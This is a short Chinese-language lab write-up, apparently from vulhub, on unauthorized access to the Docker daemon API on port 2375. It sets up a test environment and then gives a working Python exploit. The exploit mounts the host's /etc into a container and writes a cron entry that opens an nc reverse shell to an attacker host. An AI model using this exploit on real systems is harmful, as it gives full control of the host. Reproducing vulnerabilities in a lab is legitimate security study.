docker daemon api 未授权访问漏洞

参考链接:

漏洞环境

编译及启动漏洞环境:

docker-compose build
docker-compose up -d

环境启动后,将监听2375端口。

漏洞复现

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

写入crontab文件,成功反弹shell:

Copied From: vulhub/docker/unauthorized-rce